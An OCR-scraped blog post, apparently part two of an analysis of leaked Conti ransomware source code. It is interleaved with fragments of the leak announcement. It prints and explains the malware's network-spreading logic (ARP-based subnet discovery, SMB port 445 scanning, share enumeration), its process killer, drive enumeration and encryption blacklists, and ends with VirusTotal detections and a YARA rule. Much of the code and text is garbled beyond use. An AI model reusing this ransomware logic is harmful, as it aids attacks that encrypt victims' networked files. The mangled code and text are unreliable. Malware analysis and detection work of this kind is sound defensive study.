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Hello, cybersecurity enthusiasts and white hackers!
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Greetings,
filesystem/filesyster
threadpool/threadpoo’ Here is a friendly heads-up that the Conti gang has just lost all their
I shit. Please know this is true.
--/api/getapi.h https://twitter.com/Contileaks/status/1498030708736073734
"../logs/logs.h"
The link will take you to download an 1.tgz file that can be unpacked
~ running tar -xzvf 1.tgz command in your terminal . The contents of the first
445 dump contain the chat communications (current, as of today and going to
ER O0xFFFFFFFF the past) of the Conti Ransomware gang. We promise it is very interesting.
comment(lib, "ws2 32.1lib" .
There are more dumps coming , stay tuned.
You can help the world by writing this as your top story.
STATIC struct hostent* g_HostEntr)
It is not malware or a joke.
This is being sent to many journalists and researchers.
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In the last part, | wrote about encryption/hashing methods and bypassing AV-engines. Today

April 11, 2022

vx-underground

Conti ransomware group
previously put out a message
siding with the Russian
government.

Today a Conti member has
begun leaking data with the
message "Fuck the Russian
government, Glory to
Ukraine!"

You can download the leaked
Conti data here:
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| will consider network connections and filesystem and some identified 10Cs.

network connections

First of all, let's go back a little to the logic of the encryptor:


https://cocomelonc.github.io/investigation/2022/04/11/malw-inv-conti-2.html
https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html

morphcode (DrivelList.tgh first);

filesystem: :PDRIVE INFO DriveInfo = NULL;
morphcode (DriveInfo);

TAILQ FOREACH(DriveInfo, &DrivelList, Entries) {

threadpool: :PutTask(threadpool::LOCAL THREADPOOL, DriveInfo-=RootPath);
morphcode ( (PCHAR)DriveInfo-=RootPath.c str());

s e WM - o

(global::GetEncryptMode() ALL_ENCRYPT global::GetEncryptMode() NETWORK_ENCRYPT) {

network scanner::StartScan();

main.cpp

memary.cpp

(threadpool::IsActive(threadpool: :LOCAL THREADPOOL)) {
threadpool: :Wait(threadpool: :LOCAL_THREADPOOL) ;
}

g WWWmmmmmmwmmwegBNENFFNF

(threadpool: :IsActive(threadpool: : NETWORK_THREADPOOL)) {
threadpool: :Wait(threadpool: :NETWORK THREADPOOL);
}
EXIT SUCCESS;

As you can see when the encryption mode is ALL_ENCRYPT or NETWORK_ENCRYPT, the
malware retrieves info about network.

Let’'s go to definition of sStartscan:

VOID

network scanner::StartScan()

{
WSADATA WsaData;
HANDLE hHostHandler = NULL, hPortScan NULL ;
PSUBNET INFO SubnetInfo NULL;

g ActiveOperations 0;
pWSAStartup(MAKEWORD(2, 2), &WsaData);
pInitializeCriticalSection(&g CriticalSection);
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(!GetConnectEX()) {
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logs::Write(OBFW(L"Can't get ConnectEx."));
cleanup;
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GetCurrentIpAddress();
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Let’s go to deep into logic of network_connections.

GetCurrentIpAddress is just getinfo about current IP address:




CurrentIpAddre

CHAR szHostName[ 1;
in addr InAddr;

ET _ERROR (INT)pgethostname(szHostName,

g HostEntry ( hostent*)pgethostbyname (szHostName) ;
('g HostEntry) {

Function Getsubnets uses GetIpNetTable APl which is called to restore the ARP table of
the infected system. For earch entry the specified IPv4 addresses are checked against the
following masks:

(ULONG i 0; 1 < IpNetTable--dwNumEntries; i++) {

WCHAR wszIpAddress[INET A RLEN] ;
dwAddress = IpNetTable -table[i].dwAddr;
PUCHAR HardwareAddres IpNetTable-~table[i] .bPhysAddr;
ULONG HardwareAddressSize = IpNetTable -table[i].dwPhysAddrLen;

RtlSecureZeroMemory(wszIpAddress, (wszIpAddress));

IN ADDR InAddr;

InAddr.S un.S addr = dwAddress;

PCHAR szIpAddress - pinet_ntoa(InAddr)
setLastError();

PCSTR pl = (PCSTR)pStrStrIA(szIpAddress, OBFA("172."));
PCSTR p2 = (PCSTR)pStrStrIA(szIpAddress, OBFA("192.168."));
PCSTR p3 = (PCSTR)pStrStrIA(szIpAddress, OBFA("10."));
PCSTR p4 = (PCSTR)pStrStrIA(szIpAddress, OBFA("169."));

(pl szIpAddress
p2 szIpAddress
p3 szIpAddress
p4 szIpAddress)

If the current ARP matches of this masks (172.*, 192.168.*, 10.*, 169.*)the subnetis
extracted and added to the subnet’s queue:
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(pl szIpAddress
p2 szIpAddress
p3 szIpAddress
p4 szIpAddress)

BOOL Found FALSE;

PSUBNET INFO SubnetInfo NULL ;
TAILQ FOREACH(SubnetInfo, SubnetList, Entries) {

( 'memcmp (&SubnetInfo >dwAddress, &tdwAddress, 3)) {

Found TRUE;

¥

(!Found) {

BYTE bAddres[4];
(ULONG )bAddres dwAddress;
bAddres[3] 0;

PSUBNET INFO NewSubnet (PSUBNET INFO)m malloc( (SUBNET_INFOQ));
( 'NewSubnet) {

I

}

Rt1lCopyMemory (&NewSubnet ->dwAddress, bAddres, 4);
TAILQ INSERT TAIL(SubnetList, NewSubnet, Entries)

network_scanner.cpp ® queue.h

EMPTY (head) ((head)->tgh first NULL)

L

L

FIRST (head) ((head) -tqh first)

L

L

FOREACH(var, head, field)
TAILQ FIRST((head));
\
TAILQ NEXT((var), field))

L

L

0~ OB WM

L

L

FOREACH REVERSE(var, head, headname, field)
TAILQ LAST((head), headname); \
\
TAILQ PREV((var), headname, field))
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X network_scanner.cpp X queue.h
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(elm) -~field.tge prev TAILQ FIRST((head));
(0)

TAILQ INSERT TAIL(head, elm, field)
TAILQ NEXT((elm), field) NULL; \
(elm) -~field.tge prev (head) - ~tgh_last;
(head) =tgh last (elm); "
(head) >tgh last TAILQ NEXT((elm), field);
(0)

w
oo (o oo
= W

W

TAILQ LAST(head, headname) \
{(*((( headname *)((head)-=tqh last))-=tgh last))

Ww W W
o o o
@~ O un

TAILQ NEXT(elm, field) ((elm)->field.tqe_ next)

w W
w0 oo
@ 0

TAILQ PREV(elm, headname, field) \
(“((( headname *)((elm)->field.tge prev))->tgh last))

w
w0
[
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Function scanHosts tries a connection to IPv4 on the SMB port (445) using the TCP

protocol:

3

439 STATIC

440 VOID

441 ScanHosts()

442 {

443 PCONNECT CONTEXT ConnectCtx NULL;

444 TAILQ FOREACH(ConnectCtx, &g ConnectionList, Entries) {
445

446 DWORD dwBytesSent;

447 SOCKADDR _IN SockAddr;

448 RtlSecureZeroMemory(&SockAddr, (SockAddr)) ;
449 SockAddr.sin_family = AF INET;

450 SockAddr.sin_port htons(SMB _PORT);

3 s DD ;

451 SockAddr.sin_addr.s_addr = ConnectCtx--dwAddres;
452
453 (g_ConnectEx(ConnectCtx->s, (CONST SOCKADDR*) SockAddr, (SockAddr), NULL, ©, &dwBytesSent, (LPOVERLAPPED)ConnectCtx)) {
454
455 ConnectCtx->State = CONNECTED;
AddHost (ConnectCtx-~dwAddres) ;

}
(WSA_I0_PENDING WSAGetLastError()) {

s DD DEDDDWD@DDEFEFFEFF

g_ActiveOperations++;
ConnectCtx->State = CONNECTING;
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If connection is successfull, saves the valid IP’s via AddHost:




STATIC

ost(
in DWORD dwAddres

(g_HostEntry) {
INT i 0;
(g_HostEntry

DWORD dwCurrentAddr
(dwCurrentAddr

PHOST_INFO HostInfo
('HostInfo) {
FALSE ;
i

DWORD dwAddress
SOCKADDR _IN temp;
temp.sin_addr.s_addr
temp.sin_port
temp.sin_family = AF
HostInfo-~dwAddres

(dwAddres STOP

pEnterCriticalSection(&g CriticalSection); {

h_addr list[i] NULL) {
(DWORD*)g_HostEntry
dwAddres) {

h_addr_list[i

(PHOST_INFO)m_malloc( (HOST_INFO));

INET ADDRSTRLEN;

dwAddres;

INET;
dwAddres;

oStringW((LPS

1:

(temp), NULL, HostInfo

T ) INSERT TAIL(&tg HostList, HostInfo, Entries);

riticals
TRUE;

And what about HostHandler:

tion(&g CriticalSection);

wszAddress,

dwAddres)) {
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in PVOID pArg)

network_scanner::SHARE LIST Sharelist;
TAILQ_INIT(&ShareList);

(TRUE) {
pEnterCriticals ion(&g CriticalSection);

nner.cpp

PHOST_INFO HostInfo = TAILQ_FIRST(&g_HostList);
(HostInfo NULL) {

tion(&g CriticalSection);

TAILQ REMOVE(&g HostList, HostInfo, Entries);
pLeaveCriticalSection(&g CriticalSection);

(HostInfo--dwAddres S (ER) {

(HostInfo);
read (EXIT_S

network_scanner: : EnumSh (HostInfo--wszAddress, &Sharelist);
(| TAILQ_EMPTY(iSharelList))

network scanner::PSHARE INFO ShareInfo = TAILQ FIRST(&ShareList);
logs: :Write(OBFW(L"Starting search on share %s."), ShareInfo- >wszSharePath);
threadnonl : : PutTask(threadnnnl : - NFTW THRFADPNNI . ShareTnfn-=ws7SharePath):

and PortScanHandler:
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[ nain.cpp X network_scanner.cpp x
rimercallpack(FvuLy Arg, DUULECAN 11merurwaiirirea) {
pPostQueuedCompletionStatus(g_IocpHandle, 0, TIMER COMPLETION KEY, NULL)
}

STATIC
DWORD
WINAPT
PortScanHandler(PVOID pArg)
{
g_ActiveOperations - 0;
HANDLE hTimer = NULL;
BOOL IsTimerActivated FALSE;

HANDLE hTimerQueue pCreateTimerQueue();
('hTimerQueue) {
pExitThread (EXIT FAILURE);
}
(TRUE) {
DWORD dwBytesTransferred;
ULONG _PTR CompletionStatus;
PCONNECT CONTEXT ConnectContext;
BOOL Success (BOOL ) pGetQueuedCompletionStatus(g IocpHandle, &dwBytesTransferred, &CompletionStatus,
(CompletionStatus START COMPLETION KEY) {
(!CreateHostTable()) {
ScanHosts();
(!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {

pExitThread (EXIT FAILURE);
}

HostHandler waits for some valid IP in the IP’s queue and for each IP enum the shares

using the NetshareEnum API:

TAILQ_REMOVE(tg_HostlList, HostInfo, Entries);
pLeaveCriticalSection(&g_CriticalSection);

(HostInfo->dwAddres STOP_MARKER) {

free(HostInfo);
pExitThread (EXIT SUCCESS});

network_scanner::EnumShares(HostInfo- ~wszAddress, &Sharelist)
(!TAILQ EMPTY(&ShareList))

network scanner::PSHARE INFO ShareInfo = TAILQ FIRST(&ShareList);
logs::Write(OBFW(L"Starting search on share %s."), ShareInfo->wszSharePath);
threadpool: :PutTask(threadpool: :NETWORK THREADPOOL, ShareInfo- >wszSharePath);
TAILQ REMOVE(&Sharelist, ShareInfe, Entries);

free(SharelInfo);

free(HostInfo);

CFFEFEFEN

pExitThread (EXIT_SUCCESS);
EXIT_SUCCESS;




VvoID

network scanner::EnumShares(
R pwszIpAddress,
RE_LIST ShareList

NET_API US Result;
RE INFO 1 ShareInfoBuffer NULL;
D er = @, tr = 0, resume

Result = (NET _API STATU. hareEnum(pwszIpAddress, 1, (LPBYTE*)&ShareInfoBuffer, PREFERRED_LENGTH, &er, &tr, &resume);
(Result ERRC
{
LPSHARE_INFO_1 TempShareInfo ShareInfoBuffer;
(DWORD i = 1; i er; i++)
(TempShareInfo-=shil_type STYPE_DISKTREE
TempShareInfo->shil type STYPE_SPE
TempShareInfo-~shil type STYPE_TEM

PSHARE _INFO ShareInfo (PSHARE_INFO)m malloc( (SHARE_INFO));

(ShareInfo plstrcmpiW(TempShareInfo->shil netname, OBFW{(L"ADMIN$"))) {

pl yW(ShareInfo--wszSharePath, OBFW(L"\\\\"));

pl c (ShareInfo-~wszSharePath, pwszIpAddress);

pl (ShareInfo ~wszSharePath, O0BFW(L )5

pl (ShareInfo-~wszSharePath, TempShareInfo--shil netname);

anHandler(PVOID pArg)
g_ActiveOperations H
HANDLE hTimer = NULL;
BOOL IsTimerActivated = FALSE;
HANDLE hTimerQueue pC eTimerQue
('hTimerQueue) {
xitThread(EXIT_FAILURE);
(TRUE) {
DWORD dwBytesTransferred;
ULONG PTR CompletionStatus;
PCONNECT_CONTEXT ConnectContext;
BOOL Success (BOOL ) pGetQueu ompletionStatus(g IocpHandle, &dwBytesTransferred, tCompletionStatus, (LPOVERLAPPED*):&ConnectContext,

(CompletionStatus START COMPLETION KEY) {

ble()) {

imer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000,

So, what happens when calls network_scanner: :StartScan?

1.Add 172.*, 192.168.*%, 10.*, 169.* subnet addresses to queue.

2. Create two threads.

3. First thread via HostHandler enum the shares.

4. Second thread via PortScanHandler tries to connect SMB 445 port, for earh
successfully connection, saves valid IPs and scan every 30 sec:

9/16



(! GetSubnets(&g SubnetList)) {

logs::Write(OBFW(L"Can't get subnets."));
cleanup;

hHostHandler = pCreateThread(NULL, @, &HostHandler, NULL, ©, NULL);
(hHostHandler INVALID HANDLE VALUE) {

logs::Write(OBFW(L"Can't create host thread."));
cleanup;

hPortScan pCreateThread (NULL, 0, &PortScanHandler, NULL, ©, NULL);
(hPortScan INVALID HANDLE VALUE) {

logs::Write(OBFW(L"Can't create port scan thread."));
cleanup;

Dommmmm D @ mm R

Concluding the execution, the waitForsingleobject API is invoked on each thread to wait
for the completion of operations before closing the main process and closeHandle for
cleanup:

hHostHandler = pCreateThread(NULL, @, &HostHandler, NULL, 0, NULL);
(hHostHandler INVALID HANDLE VALUE) {

logs::Write(OBFW(L"Can't create host thread."));
cleanup;

hPortScan pCreateThread(NULL, ©, &PortScanHandler, NULL, ©, NULL)
(hPortScan INVALID HANDLE VALUE) {

logs::Write(OBFW(L"Can't create port scan thread."));
cleanup;

pPostQueuedCompletionStatus(g IocpHandle, ©, START COMPLETION KEY, NULL);
pWaitForSingleObject (hPortScan, INFINITE);

AddHost(STOP MARKER) ;
pWaitForSingleObject (hHostHandler, INFINITE);

cleanup:
pDeleteCriticalSection(&g_CriticalSection);
(g_IocpHandle) {
pCloseHandle(g IocpHandle);
+
(hHostHandler) {
pCloseHandle (hHostHandler) ;
}
(hPortScan) {
pCloseHandle (hPortScan) ;
}

s DD DDEDDEDWD Mm@ W
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pWSACleanup() ;
}

process Kkiller




The logic of the prockiller.cpp is simple. It enum through all processes and if it's not equal
to explorer.exe then adds it's PID to the queue:

File Edit View Selection Find Packages Help

VoID
process_killer::GetwWhiteListProcess( out PPID LIST PidList)
{
HANDLE hSnapShot pCreateToolhelp32Snapshot (TH
(hSnapShot NULL) {

PROCESSENTRY3
pe32.dwSize
(!pProc ’FirstW(hSnapShot, &pe32)) {

pCloseHandle(hSnapShot) ;

’

(!'plstrcmpiW(pe32.szExeFile, OBFW(L"explorer.exe"))) {
PPID Pid = (PPID)m malloc( (PID));
(!Pid) {

Pid ~dwProcessId pe32.th32ProcessID;
TAILQ INSERT TAIL(PidList, Pid, Entries);

(pPro 2NextW(hSnapShot,

ndle(hSnapShot) ;

filesystem

In the filesystem module there is a function filesystem: :EnumirateDrives which, as the
name implies, scan drives:
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File Edit View Selection Find Packages Help
Project main.cpp x disks.cpp
"filesystem.h"
“../api/getapi.h"
"“../memory.h"
"../logs/logs.h"

INT
filesystem::EnumirateDrives( in PDRIVE LIST Drivelist)
{

INT Length 0;

INT DrivesCount 0;

DWORD DriveType = 0;

TAILQ INIT(Drivelist);

SIZE T BufferLength (SIZE T)pGetLogicalDriveStringsW(®, NULL);
(!BufferLength) {

}

LPWSTR Buffer (LPWSTR)m_malloc((BufferLength 1)

(!Buffer) {

LogicalDriveStringsW(BufferLength, Buffer);
LPWSTR tempBuffer = Buffer;
(Length (INT)plstrlenw(tempBuffer)) {

PDRIVE INFO DriveInfo DRIVE INFO;
(!'DriveInfo) {

free(Buffer);

}

DriveInfo--RootPath = tempBuffer;
TATIN TMCSERT TATI (Nriwval iet NrivaTnfa Fntriael:

As you can see it uses GetLogicalDriveStringsw API.

The logic of this function is used in the final enumeration during encryption. The malware
uses a whitelist for both directories and files to avoid the encryption of unnecessary data.

The following directories names and file names are avoided during the enumeration process:
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File Edit View Selection Find Packages Help

Project

LPCWSTR BlackList[]
{

OBFW(L"tmp"),

OBFW(L"winnt"),

OBFW(L"temp"),

OBFW(L"thumb"),
OBFW(L"$Recycle.Bin"),
OBFW(L"$RECYCLE.BIN"),
OBFW(L"System Volume Information"),

OBFW(L"Boot"),
OBFW(L"Windows"),
OBFW(L"Trend Micro"),
OBFW(L"perflogs")

I

INT Count (Black ) (LPWSTR) ;
(INT 1 = 0; 1 < Count; i++) {
(pStrStriW(Directory, BlackList[i])) {
FALSE;

> I cryptor_dil
? ety _ TRUE;
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kFilename( in LP TR FileName)

LPCWSTR BlackList[]
{

OBFW(L" .exe

OBFW(L".

OBFW(L".1

OBFW(L".sys

OBFW(L"

OBFW(L".bat"),
OBFW(L"readme.txt"),
OBFW(L"CONTI LOG.txt")

(pStrStriW(FileName, global::GetExtention())) {
FALSE;

INT Count (BlackList)
(INT i = 0; 1 < Count; i++) {
(pStrStrIW(FileName, BlackList[i])) {
FALSE;

TRUE;

yara rules

Let’s go to upload locker .exe to VirusTotal:
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Z eTbl4 4315 16dd9ef10e473 Q 2~ & (I cocomelonk @

( 57 ) (D 57 security vendors and 3 sandboxes flagged this file as malicious
e1b14; a3f 211.50K8 (2 &)

108473 20220410 141553 UTC
9 unknown 2 2 EXE
X Community (o

peexe. spreader

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY e

Crowdsourced YARA Rules

Matches rule Conti by kevoreilly from ruleset Conti at https:/github.com/kevoreilly/ CAPEV2
L» Conti Ransomware

Matches rule by Felix Bilstein - yara-signator at cocacoding dot com from ruleset win.conti_auto at

https://malpedia.caad. fkie.fraunhofer.de/
Ly Detects win.conti,

Crowdsourced Sigma Rules

i CRITICAL4  HIGH 6 Low 28

by Florian Roth, Michael Haag, Teymur Kh... from Sigma

Prime Threat Detection Marketplace

by Max Altgelt from Sigma Integrated Rule Set (GitHub)
rocess creation olute path (caused by process ghosting or other unorthodox

by Max Altgelt from Sigma Integrated Rule Set (GitHub)
vent doesn't refer to an_exe file (caused by process ghosting or other unorthodox

from Sigma Integrated Rule Set (GitHub)
the of a legitimat g o someone trying

https://www.virustotal.com/gui/file/e1b147aa2efa6849743f570a3aca8390faf4b90aed490a568
2816dd9ef10e473/detection

57 of 69 AV engines detect this sample as malware

Yara rule for Conti:

rule Conti

{

meta:
author = "kevoreilly"
description = "Conti Ransomware"
cape_type = "Conti Payload"
strings:
$cryptol = {8A 07 8D 7F 01 OF B6 CO B9 ?? 0O 00 00 2B C8 6B C1 ?? 99 F7 FE 8D
[2] 99 F7 FE 88 ?? FF 83 EB 01 75 DD}
$websitel = "https://contirecovery.info" ascii wide
$website2 = "https://contirecovery.best" ascii wide
condition:
uint16(0®) == Ox5A4D and any of them

| hope this post spreads awareness to the blue teamers of this interesting malware
techniques, and adds a weapon to the red teamers arsenal.

first part

WSAStartup
WSAAdressToStringA
CreateToolhelp32Snapshot
CloseHandle

StrStriw
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https://www.virustotal.com/gui/file/e1b147aa2efa6849743f570a3aca8390faf4b90aed490a5682816dd9ef10e473/detection
https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html
https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup
https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaaddresstostringa
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle
https://docs.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-strstriw

CreateThread
WaitForSingleObject
NetShareEnum
GetLogicalDriveStringsW

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject
https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netshareenum
https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getlogicaldrivestringsw

